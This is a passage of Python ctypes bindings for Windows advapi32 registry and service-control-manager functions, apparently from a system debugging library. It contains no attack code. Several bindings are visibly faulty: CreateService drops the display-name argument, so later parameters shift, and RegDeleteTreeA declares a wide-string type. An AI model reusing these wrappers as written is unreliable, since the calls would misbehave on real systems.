samDesired, # __out PHKEY phkResult # ); def RegOpenKeyExA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS): _RegOpenKeyExA = windll.advapi32.RegOpenKeyExA _RegOpenKeyExA.argtypes = [HKEY, LPSTR, DWORD, REGSAM, PHKEY] _RegOpenKeyExA.restype = LONG _RegOpenKeyExA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyExA(hKey, lpSubKey, 0, samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegOpenKeyExW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS): _RegOpenKeyExW = windll.advapi32.RegOpenKeyExW _RegOpenKeyExW.argtypes = [HKEY, LPWSTR, DWORD, REGSAM, PHKEY] _RegOpenKeyExW.restype = LONG _RegOpenKeyExW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyExW(hKey, lpSubKey, 0, samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegOpenKeyEx = GuessStringType(RegOpenKeyExA, RegOpenKeyExW) # LONG WINAPI RegOpenCurrentUser( # __in REGSAM samDesired, # __out PHKEY phkResult # ); def RegOpenCurrentUser(samDesired = KEY_ALL_ACCESS): _RegOpenCurrentUser = windll.advapi32.RegOpenCurrentUser _RegOpenCurrentUser.argtypes = [REGSAM, PHKEY] _RegOpenCurrentUser.restype = LONG _RegOpenCurrentUser.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenCurrentUser(samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) # LONG WINAPI RegOpenUserClassesRoot( # __in HANDLE hToken, # __reserved DWORD dwOptions, # __in REGSAM samDesired, # __out PHKEY phkResult # ); def RegOpenUserClassesRoot(hToken, samDesired = KEY_ALL_ACCESS): _RegOpenUserClassesRoot = windll.advapi32.RegOpenUserClassesRoot _RegOpenUserClassesRoot.argtypes = [HANDLE, DWORD, REGSAM, PHKEY] _RegOpenUserClassesRoot.restype = LONG _RegOpenUserClassesRoot.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenUserClassesRoot(hToken, 0, samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) # LONG WINAPI RegQueryValue( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __out_opt LPTSTR lpValue, # __inout_opt PLONG lpcbValue # ); def RegQueryValueA(hKey, lpSubKey = None): _RegQueryValueA = windll.advapi32.RegQueryValueA _RegQueryValueA.argtypes = [HKEY, LPSTR, LPVOID, PLONG] _RegQueryValueA.restype = LONG _RegQueryValueA.errcheck = RaiseIfNotErrorSuccess cbValue = LONG(0) _RegQueryValueA(hKey, lpSubKey, None, byref(cbValue)) lpValue = ctypes.create_string_buffer(cbValue.value) _RegQueryValueA(hKey, lpSubKey, lpValue, byref(cbValue)) return lpValue.value def RegQueryValueW(hKey, lpSubKey = None): _RegQueryValueW = windll.advapi32.RegQueryValueW _RegQueryValueW.argtypes = [HKEY, LPWSTR, LPVOID, PLONG] _RegQueryValueW.restype = LONG _RegQueryValueW.errcheck = RaiseIfNotErrorSuccess cbValue = LONG(0) _RegQueryValueW(hKey, lpSubKey, None, byref(cbValue)) lpValue = ctypes.create_unicode_buffer(cbValue.value * sizeof(WCHAR)) _RegQueryValueW(hKey, lpSubKey, lpValue, byref(cbValue)) return lpValue.value RegQueryValue = GuessStringType(RegQueryValueA, RegQueryValueW) # LONG WINAPI RegQueryValueEx( # __in HKEY hKey, # __in_opt LPCTSTR lpValueName, # __reserved LPDWORD lpReserved, # __out_opt LPDWORD lpType, # __out_opt LPBYTE lpData, # __inout_opt LPDWORD lpcbData # ); def _internal_RegQueryValueEx(ansi, hKey, lpValueName = None, bGetData = True): _RegQueryValueEx = _caller_RegQueryValueEx(ansi) cbData = DWORD(0) dwType = DWORD(-1) _RegQueryValueEx(hKey, lpValueName, None, byref(dwType), None, byref(cbData)) Type = dwType.value if not bGetData: return cbData.value, Type if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN if cbData.value != 4: raise ValueError("REG_DWORD value of size %d" % cbData.value) dwData = DWORD(0) _RegQueryValueEx(hKey, lpValueName, None, None, byref(dwData), byref(cbData)) return dwData.value, Type if Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN if cbData.value != 8: raise ValueError("REG_QWORD value of size %d" % cbData.value) qwData = QWORD(0) _RegQueryValueEx(hKey, lpValueName, None, None, byref(qwData), byref(cbData)) return qwData.value, Type if Type in (REG_SZ, REG_EXPAND_SZ): if ansi: szData = ctypes.create_string_buffer(cbData.value) else: szData = ctypes.create_unicode_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) return szData.value, Type if Type == REG_MULTI_SZ: if ansi: szData = ctypes.create_string_buffer(cbData.value) else: szData = ctypes.create_unicode_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) Data = szData[:] if ansi: aData = Data.split('\0') else: aData = Data.split(u'\0') aData = [token for token in aData if token] return aData, Type if Type == REG_LINK: szData = ctypes.create_unicode_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) return szData.value, Type # REG_BINARY, REG_NONE, and any future types szData = ctypes.create_string_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) return szData.raw, Type def _caller_RegQueryValueEx(ansi): if ansi: _RegQueryValueEx = windll.advapi32.RegQueryValueExA _RegQueryValueEx.argtypes = [HKEY, LPSTR, LPVOID, PDWORD, LPVOID, PDWORD] else: _RegQueryValueEx = windll.advapi32.RegQueryValueExW _RegQueryValueEx.argtypes = [HKEY, LPWSTR, LPVOID, PDWORD, LPVOID, PDWORD] _RegQueryValueEx.restype = LONG _RegQueryValueEx.errcheck = RaiseIfNotErrorSuccess return _RegQueryValueEx # see _internal_RegQueryValueEx def RegQueryValueExA(hKey, lpValueName = None, bGetData = True): return _internal_RegQueryValueEx(True, hKey, lpValueName, bGetData) # see _internal_RegQueryValueEx def RegQueryValueExW(hKey, lpValueName = None, bGetData = True): return _internal_RegQueryValueEx(False, hKey, lpValueName, bGetData) RegQueryValueEx = GuessStringType(RegQueryValueExA, RegQueryValueExW) # LONG WINAPI RegSetValueEx( # __in HKEY hKey, # __in_opt LPCTSTR lpValueName, # __reserved DWORD Reserved, # __in DWORD dwType, # __in_opt const BYTE *lpData, # __in DWORD cbData # ); def RegSetValueEx(hKey, lpValueName = None, lpData = None, dwType = None): # Determine which version of the API to use, ANSI or Widechar. if lpValueName is None: if isinstance(lpData, GuessStringType.t_ansi): ansi = True elif isinstance(lpData, GuessStringType.t_unicode): ansi = False else: ansi = (GuessStringType.t_ansi == GuessStringType.t_default) elif isinstance(lpValueName, GuessStringType.t_ansi): ansi = True elif isinstance(lpValueName, GuessStringType.t_unicode): ansi = False else: raise TypeError("String expected, got %s instead" % type(lpValueName)) # Autodetect the type when not given. # TODO: improve detection of DWORD and QWORD by seeing if the value "fits". if dwType is None: if lpValueName is None: dwType = REG_SZ elif lpData is None: dwType = REG_NONE elif isinstance(lpData, GuessStringType.t_ansi): dwType = REG_SZ elif isinstance(lpData, GuessStringType.t_unicode): dwType = REG_SZ elif isinstance(lpData, int): dwType = REG_DWORD elif isinstance(lpData, long): dwType = REG_QWORD else: dwType = REG_BINARY # Load the ctypes caller. if ansi: _RegSetValueEx = windll.advapi32.RegSetValueExA _RegSetValueEx.argtypes = [HKEY, LPSTR, DWORD, DWORD, LPVOID, DWORD] else: _RegSetValueEx = windll.advapi32.RegSetValueExW _RegSetValueEx.argtypes = [HKEY, LPWSTR, DWORD, DWORD, LPVOID, DWORD] _RegSetValueEx.restype = LONG _RegSetValueEx.errcheck = RaiseIfNotErrorSuccess # Convert the arguments so ctypes can understand them. if lpData is None: DataRef = None DataSize = 0 else: if dwType in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN Data = DWORD(lpData) elif dwType == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN Data = QWORD(lpData) elif dwType in (REG_SZ, REG_EXPAND_SZ): if ansi: Data = ctypes.create_string_buffer(lpData) else: Data = ctypes.create_unicode_buffer(lpData) elif dwType == REG_MULTI_SZ: if ansi: Data = ctypes.create_string_buffer('\0'.join(lpData) + '\0\0') else: Data = ctypes.create_unicode_buffer(u'\0'.join(lpData) + u'\0\0') elif dwType == REG_LINK: Data = ctypes.create_unicode_buffer(lpData) else: Data = ctypes.create_string_buffer(lpData) DataRef = byref(Data) DataSize = sizeof(Data) # Call the API with the converted arguments. _RegSetValueEx(hKey, lpValueName, 0, dwType, DataRef, DataSize) # No "GuessStringType" here since detection is done inside. RegSetValueExA = RegSetValueExW = RegSetValueEx # LONG WINAPI RegEnumKey( # __in HKEY hKey, # __in DWORD dwIndex, # __out LPTSTR lpName, # __in DWORD cchName # ); def RegEnumKeyA(hKey, dwIndex): _RegEnumKeyA = windll.advapi32.RegEnumKeyA _RegEnumKeyA.argtypes = [HKEY, DWORD, LPSTR, DWORD] _RegEnumKeyA.restype = LONG cchName = 1024 while True: lpName = ctypes.create_string_buffer(cchName) errcode = _RegEnumKeyA(hKey, dwIndex, lpName, cchName) if errcode != ERROR_MORE_DATA: break cchName = cchName + 1024 if cchName > 65536: raise ctypes.WinError(errcode) if errcode == ERROR_NO_MORE_ITEMS: return None if errcode != ERROR_SUCCESS: raise ctypes.WinError(errcode) return lpName.value def RegEnumKeyW(hKey, dwIndex): _RegEnumKeyW = windll.advapi32.RegEnumKeyW _RegEnumKeyW.argtypes = [HKEY, DWORD, LPWSTR, DWORD] _RegEnumKeyW.restype = LONG cchName = 512 while True: lpName = ctypes.create_unicode_buffer(cchName) errcode = _RegEnumKeyW(hKey, dwIndex, lpName, cchName * 2) if errcode != ERROR_MORE_DATA: break cchName = cchName + 512 if cchName > 32768: raise ctypes.WinError(errcode) if errcode == ERROR_NO_MORE_ITEMS: return None if errcode != ERROR_SUCCESS: raise ctypes.WinError(errcode) return lpName.value RegEnumKey = DefaultStringType(RegEnumKeyA, RegEnumKeyW) # LONG WINAPI RegEnumKeyEx( # __in HKEY hKey, # __in DWORD dwIndex, # __out LPTSTR lpName, # __inout LPDWORD lpcName, # __reserved LPDWORD lpReserved, # __inout LPTSTR lpClass, # __inout_opt LPDWORD lpcClass, # __out_opt PFILETIME lpftLastWriteTime # ); # XXX TODO # LONG WINAPI RegEnumValue( # __in HKEY hKey, # __in DWORD dwIndex, # __out LPTSTR lpValueName, # __inout LPDWORD lpcchValueName, # __reserved LPDWORD lpReserved, # __out_opt LPDWORD lpType, # __out_opt LPBYTE lpData, # __inout_opt LPDWORD lpcbData # ); def _internal_RegEnumValue(ansi, hKey, dwIndex, bGetData = True): if ansi: _RegEnumValue = windll.advapi32.RegEnumValueA _RegEnumValue.argtypes = [HKEY, DWORD, LPSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD] else: _RegEnumValue = windll.advapi32.RegEnumValueW _RegEnumValue.argtypes = [HKEY, DWORD, LPWSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD] _RegEnumValue.restype = LONG cchValueName = DWORD(1024) dwType = DWORD(-1) lpcchValueName = byref(cchValueName) lpType = byref(dwType) if ansi: lpValueName = ctypes.create_string_buffer(cchValueName.value) else: lpValueName = ctypes.create_unicode_buffer(cchValueName.value) if bGetData: cbData = DWORD(0) lpcbData = byref(cbData) else: lpcbData = None lpData = None errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData) if errcode == ERROR_MORE_DATA or (bGetData and errcode == ERROR_SUCCESS): if ansi: cchValueName.value = cchValueName.value + sizeof(CHAR) lpValueName = ctypes.create_string_buffer(cchValueName.value) else: cchValueName.value = cchValueName.value + sizeof(WCHAR) lpValueName = ctypes.create_unicode_buffer(cchValueName.value) if bGetData: Type = dwType.value if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN if cbData.value != sizeof(DWORD): raise ValueError("REG_DWORD value of size %d" % cbData.value) Data = DWORD(0) elif Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN if cbData.value != sizeof(QWORD): raise ValueError("REG_QWORD value of size %d" % cbData.value) Data = QWORD(0) elif Type in (REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ): if ansi: Data = ctypes.create_string_buffer(cbData.value) else: Data = ctypes.create_unicode_buffer(cbData.value) elif Type == REG_LINK: Data = ctypes.create_unicode_buffer(cbData.value) else: # REG_BINARY, REG_NONE, and any future types Data = ctypes.create_string_buffer(cbData.value) lpData = byref(Data) errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData) if errcode == ERROR_NO_MORE_ITEMS: return None #if errcode != ERROR_SUCCESS: # raise ctypes.WinError(errcode) if not bGetData: return lpValueName.value, dwType.value if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_QWORD, REG_SZ, REG_EXPAND_SZ, REG_LINK): # REG_DWORD_LITTLE_ENDIAN, REG_QWORD_LITTLE_ENDIAN return lpValueName.value, dwType.value, Data.value if Type == REG_MULTI_SZ: sData = Data[:] del Data if ansi: aData = sData.split('\0') else: aData = sData.split(u'\0') aData = [token for token in aData if token] return lpValueName.value, dwType.value, aData # REG_BINARY, REG_NONE, and any future types return lpValueName.value, dwType.value, Data.raw def RegEnumValueA(hKey, dwIndex, bGetData = True): return _internal_RegEnumValue(True, hKey, dwIndex, bGetData) def RegEnumValueW(hKey, dwIndex, bGetData = True): return _internal_RegEnumValue(False, hKey, dwIndex, bGetData) RegEnumValue = DefaultStringType(RegEnumValueA, RegEnumValueW) # XXX TODO # LONG WINAPI RegSetKeyValue( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __in_opt LPCTSTR lpValueName, # __in DWORD dwType, # __in_opt LPCVOID lpData, # __in DWORD cbData # ); # XXX TODO # LONG WINAPI RegQueryMultipleValues( # __in HKEY hKey, # __out PVALENT val_list, # __in DWORD num_vals, # __out_opt LPTSTR lpValueBuf, # __inout_opt LPDWORD ldwTotsize # ); # XXX TODO # LONG WINAPI RegDeleteValue( # __in HKEY hKey, # __in_opt LPCTSTR lpValueName # ); def RegDeleteValueA(hKeySrc, lpValueName = None): _RegDeleteValueA = windll.advapi32.RegDeleteValueA _RegDeleteValueA.argtypes = [HKEY, LPSTR] _RegDeleteValueA.restype = LONG _RegDeleteValueA.errcheck = RaiseIfNotErrorSuccess _RegDeleteValueA(hKeySrc, lpValueName) def RegDeleteValueW(hKeySrc, lpValueName = None): _RegDeleteValueW = windll.advapi32.RegDeleteValueW _RegDeleteValueW.argtypes = [HKEY, LPWSTR] _RegDeleteValueW.restype = LONG _RegDeleteValueW.errcheck = RaiseIfNotErrorSuccess _RegDeleteValueW(hKeySrc, lpValueName) RegDeleteValue = GuessStringType(RegDeleteValueA, RegDeleteValueW) # LONG WINAPI RegDeleteKeyValue( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __in_opt LPCTSTR lpValueName # ); def RegDeleteKeyValueA(hKeySrc, lpSubKey = None, lpValueName = None): _RegDeleteKeyValueA = windll.advapi32.RegDeleteKeyValueA _RegDeleteKeyValueA.argtypes = [HKEY, LPSTR, LPSTR] _RegDeleteKeyValueA.restype = LONG _RegDeleteKeyValueA.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyValueA(hKeySrc, lpSubKey, lpValueName) def RegDeleteKeyValueW(hKeySrc, lpSubKey = None, lpValueName = None): _RegDeleteKeyValueW = windll.advapi32.RegDeleteKeyValueW _RegDeleteKeyValueW.argtypes = [HKEY, LPWSTR, LPWSTR] _RegDeleteKeyValueW.restype = LONG _RegDeleteKeyValueW.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyValueW(hKeySrc, lpSubKey, lpValueName) RegDeleteKeyValue = GuessStringType(RegDeleteKeyValueA, RegDeleteKeyValueW) # LONG WINAPI RegDeleteKey( # __in HKEY hKey, # __in LPCTSTR lpSubKey # ); def RegDeleteKeyA(hKeySrc, lpSubKey = None): _RegDeleteKeyA = windll.advapi32.RegDeleteKeyA _RegDeleteKeyA.argtypes = [HKEY, LPSTR] _RegDeleteKeyA.restype = LONG _RegDeleteKeyA.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyA(hKeySrc, lpSubKey) def RegDeleteKeyW(hKeySrc, lpSubKey = None): _RegDeleteKeyW = windll.advapi32.RegDeleteKeyW _RegDeleteKeyW.argtypes = [HKEY, LPWSTR] _RegDeleteKeyW.restype = LONG _RegDeleteKeyW.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyW(hKeySrc, lpSubKey) RegDeleteKey = GuessStringType(RegDeleteKeyA, RegDeleteKeyW) # LONG WINAPI RegDeleteKeyEx( # __in HKEY hKey, # __in LPCTSTR lpSubKey, # __in REGSAM samDesired, # __reserved DWORD Reserved # ); def RegDeleteKeyExA(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY): _RegDeleteKeyExA = windll.advapi32.RegDeleteKeyExA _RegDeleteKeyExA.argtypes = [HKEY, LPSTR, REGSAM, DWORD] _RegDeleteKeyExA.restype = LONG _RegDeleteKeyExA.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyExA(hKeySrc, lpSubKey, samDesired, 0) def RegDeleteKeyExW(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY): _RegDeleteKeyExW = windll.advapi32.RegDeleteKeyExW _RegDeleteKeyExW.argtypes = [HKEY, LPWSTR, REGSAM, DWORD] _RegDeleteKeyExW.restype = LONG _RegDeleteKeyExW.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyExW(hKeySrc, lpSubKey, samDesired, 0) RegDeleteKeyEx = GuessStringType(RegDeleteKeyExA, RegDeleteKeyExW) # LONG WINAPI RegCopyTree( # __in HKEY hKeySrc, # __in_opt LPCTSTR lpSubKey, # __in HKEY hKeyDest # ); def RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest): _RegCopyTreeA = windll.advapi32.RegCopyTreeA _RegCopyTreeA.argtypes = [HKEY, LPSTR, HKEY] _RegCopyTreeA.restype = LONG _RegCopyTreeA.errcheck = RaiseIfNotErrorSuccess _RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest) def RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest): _RegCopyTreeW = windll.advapi32.RegCopyTreeW _RegCopyTreeW.argtypes = [HKEY, LPWSTR, HKEY] _RegCopyTreeW.restype = LONG _RegCopyTreeW.errcheck = RaiseIfNotErrorSuccess _RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest) RegCopyTree = GuessStringType(RegCopyTreeA, RegCopyTreeW) # LONG WINAPI RegDeleteTree( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey # ); def RegDeleteTreeA(hKey, lpSubKey = None): _RegDeleteTreeA = windll.advapi32.RegDeleteTreeA _RegDeleteTreeA.argtypes = [HKEY, LPWSTR] _RegDeleteTreeA.restype = LONG _RegDeleteTreeA.errcheck = RaiseIfNotErrorSuccess _RegDeleteTreeA(hKey, lpSubKey) def RegDeleteTreeW(hKey, lpSubKey = None): _RegDeleteTreeW = windll.advapi32.RegDeleteTreeW _RegDeleteTreeW.argtypes = [HKEY, LPWSTR] _RegDeleteTreeW.restype = LONG _RegDeleteTreeW.errcheck = RaiseIfNotErrorSuccess _RegDeleteTreeW(hKey, lpSubKey) RegDeleteTree = GuessStringType(RegDeleteTreeA, RegDeleteTreeW) # LONG WINAPI RegFlushKey( # __in HKEY hKey # ); def RegFlushKey(hKey): _RegFlushKey = windll.advapi32.RegFlushKey _RegFlushKey.argtypes = [HKEY] _RegFlushKey.restype = LONG _RegFlushKey.errcheck = RaiseIfNotErrorSuccess _RegFlushKey(hKey) # LONG WINAPI RegLoadMUIString( # _In_ HKEY hKey, # _In_opt_ LPCTSTR pszValue, # _Out_opt_ LPTSTR pszOutBuf, # _In_ DWORD cbOutBuf, # _Out_opt_ LPDWORD pcbData, # _In_ DWORD Flags, # _In_opt_ LPCTSTR pszDirectory # ); # TO DO #------------------------------------------------------------------------------ # BOOL WINAPI CloseServiceHANDLE( # _In_ SC_HANDLE hSCObject # ); def CloseServiceHANDLE(hSCObject): _CloseServiceHANDLE = windll.advapi32.CloseServiceHANDLE _CloseServiceHANDLE.argtypes = [SC_HANDLE] _CloseServiceHANDLE.restype = bool _CloseServiceHANDLE.errcheck = RaiseIfZero if isinstance(hSCObject, HANDLE): # Prevents the handle from being closed without notifying the HANDLE object. hSCObject.close() else: _CloseServiceHANDLE(hSCObject) # SC_HANDLE WINAPI OpenSCManager( # _In_opt_ LPCTSTR lpMachineName, # _In_opt_ LPCTSTR lpDatabaseName, # _In_ DWORD dwDesiredAccess # ); def OpenSCManagerA(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS): _OpenSCManagerA = windll.advapi32.OpenSCManagerA _OpenSCManagerA.argtypes = [LPSTR, LPSTR, DWORD] _OpenSCManagerA.restype = SC_HANDLE _OpenSCManagerA.errcheck = RaiseIfZero hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess) return ServiceControlManagerHANDLE(hSCObject) def OpenSCManagerW(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS): _OpenSCManagerW = windll.advapi32.OpenSCManagerW _OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD] _OpenSCManagerW.restype = SC_HANDLE _OpenSCManagerW.errcheck = RaiseIfZero hSCObject = _OpenSCManagerW(lpMachineName, lpDatabaseName, dwDesiredAccess) return hSCObject OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW) # SC_HANDLE WINAPI OpenService( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpServiceName, # _In_ DWORD dwDesiredAccess # ); def OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS): _OpenServiceA = windll.advapi32.OpenServiceA _OpenServiceA.argtypes = [SC_HANDLE, LPSTR, DWORD] _OpenServiceA.restype = SC_HANDLE _OpenServiceA.errcheck = RaiseIfZero return ServiceHANDLE( _OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess) ) def OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS): _OpenServiceW = windll.advapi32.OpenServiceW _OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD] _OpenServiceW.restype = SC_HANDLE _OpenServiceW.errcheck = RaiseIfZero return ServiceHANDLE( _OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess) ) OpenService = GuessStringType(OpenServiceA, OpenServiceW) # SC_HANDLE WINAPI CreateService( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpServiceName, # _In_opt_ LPCTSTR lpDisplayName, # _In_ DWORD dwDesiredAccess, # _In_ DWORD dwServiceType, # _In_ DWORD dwStartType, # _In_ DWORD dwErrorControl, # _In_opt_ LPCTSTR lpBinaryPathName, # _In_opt_ LPCTSTR lpLoadOrderGroup, # _Out_opt_ LPDWORD lpdwTagId, # _In_opt_ LPCTSTR lpDependencies, # _In_opt_ LPCTSTR lpServiceStartName, # _In_opt_ LPCTSTR lpPassword # ); def CreateServiceA(hSCManager, lpServiceName, lpDisplayName = None, dwDesiredAccess = SERVICE_ALL_ACCESS, dwServiceType = SERVICE_WIN32_OWN_PROCESS, dwStartType = SERVICE_DEMAND_START, dwErrorControl = SERVICE_ERROR_NORMAL, lpBinaryPathName = None, lpLoadOrderGroup = None, lpDependencies = None, lpServiceStartName = None, lpPassword = None): _CreateServiceA = windll.advapi32.CreateServiceA _CreateServiceA.argtypes = [SC_HANDLE, LPSTR, LPSTR, DWORD, DWORD, DWORD, DWORD, LPSTR, LPSTR, LPDWORD, LPSTR, LPSTR, LPSTR] _CreateServiceA.restype = SC_HANDLE _CreateServiceA.errcheck = RaiseIfZero dwTagId = DWORD(0) hService = _CreateServiceA(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword) return ServiceHANDLE(hService), dwTagId.value def CreateServiceW(hSCManager, lpServiceName, lpDisplayName = None, dwDesiredAccess = SERVICE_ALL_ACCESS, dwServiceType = SERVICE_WIN32_OWN_PROCESS, dwStartType = SERVICE_DEMAND_START, dwErrorControl = SERVICE_ERROR_NORMAL, lpBinaryPathName = None, lpLoadOrderGroup = None, lpDependencies = None, lpServiceStartName = None, lpPassword = None): _CreateServiceW = windll.advapi32.CreateServiceW _CreateServiceW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, DWORD, DWORD, DWORD, DWORD, LPWSTR, LPWSTR, LPDWORD, LPWSTR, LPWSTR, LPWSTR] _CreateServiceW.restype = SC_HANDLE _CreateServiceW.errcheck = RaiseIfZero dwTagId = DWORD(0) hService = _CreateServiceW(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword) return ServiceHANDLE(hService), dwTagId.value CreateService = GuessStringType(CreateServiceA, CreateServiceW) # BOOL WINAPI DeleteService( # _In_ SC_HANDLE hService # ); def DeleteService(hService): _DeleteService = windll.advapi32.DeleteService _DeleteService.argtypes = [SC_HANDLE] _DeleteService.restype = bool _DeleteService.errcheck = RaiseIfZero _DeleteService(hService) # BOOL WINAPI GetServiceKeyName( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpDisplayName, # _Out_opt_ LPTSTR lpServiceName, # _Inout_ LPDWORD lpcchBuffer # ); def GetServiceKeyNameA(hSCManager, lpDisplayName): _GetServiceKeyNameA = windll.advapi32.GetServiceKeyNameA _GetServiceKeyNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD] _GetServiceKeyNameA.restype = bool cchBuffer = DWORD(0) _GetServiceKeyNameA(hSCManager, lpDisplayName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpServiceName = ctypes.create_string_buffer(cchBuffer.value + 1) cchBuffer.value = sizeof(lpServiceName) success = _GetServiceKeyNameA(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpServiceName.value def GetServiceKeyNameW(hSCManager, lpDisplayName): _GetServiceKeyNameW = windll.advapi32.GetServiceKeyNameW _GetServiceKeyNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD] _GetServiceKeyNameW.restype = bool cchBuffer = DWORD(0) _GetServiceKeyNameW(hSCManager, lpDisplayName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpServiceName = ctypes.create_unicode_buffer(cchBuffer.value + 2) cchBuffer.value = sizeof(lpServiceName) success = _GetServiceKeyNameW(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpServiceName.value GetServiceKeyName = GuessStringType(GetServiceKeyNameA, GetServiceKeyNameW) # BOOL WINAPI GetServiceDisplayName( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpServiceName, # _Out_opt_ LPTSTR lpDisplayName, # _Inout_ LPDWORD lpcchBuffer # ); def GetServiceDisplayNameA(hSCManager, lpServiceName): _GetServiceDisplayNameA = windll.advapi32.GetServiceDisplayNameA _GetServiceDisplayNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD] _GetServiceDisplayNameA.restype = bool cchBuffer = DWORD(0) _GetServiceDisplayNameA(hSCManager, lpServiceName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpDisplayName = ctypes.create_string_buffer(cchBuffer.value + 1) cchBuffer.value = sizeof(lpDisplayName) success = _GetServiceDisplayNameA(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpDisplayName.value def GetServiceDisplayNameW(hSCManager, lpServiceName): _GetServiceDisplayNameW = windll.advapi32.GetServiceDisplayNameW _GetServiceDisplayNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD] _GetServiceDisplayNameW.restype = bool cchBuffer = DWORD(0) _GetServiceDisplayNameW(hSCManager, lpServiceName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpDisplayName = ctypes.create_unicode_buffer(cchBuffer.value + 2) cchBuffer.value = sizeof(lpDisplayName) success = _GetServiceDisplayNameW(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpDisplayName.value GetServiceDisplayName = GuessStringType(GetServiceDisplayNameA, GetServiceDisplayNameW) # BOOL WINAPI QueryServiceConfig( # _In_ SC_HANDLE hService, # _Out_opt_ LPQUERY_SERVICE_CONFIG lpServiceConfig, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded # ); # TO DO # BOOL WINAPI QueryServiceConfig2( # _In_ SC_HANDLE hService, # _In_ DWORD dwInfoLevel, # _Out_opt_ LPBYTE lpBuffer, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded # ); # TO DO # BOOL WINAPI ChangeServiceConfig( # _In_ SC_HANDLE hService, # _In_ DWORD dwServiceType, # _In_ DWORD dwStartType, 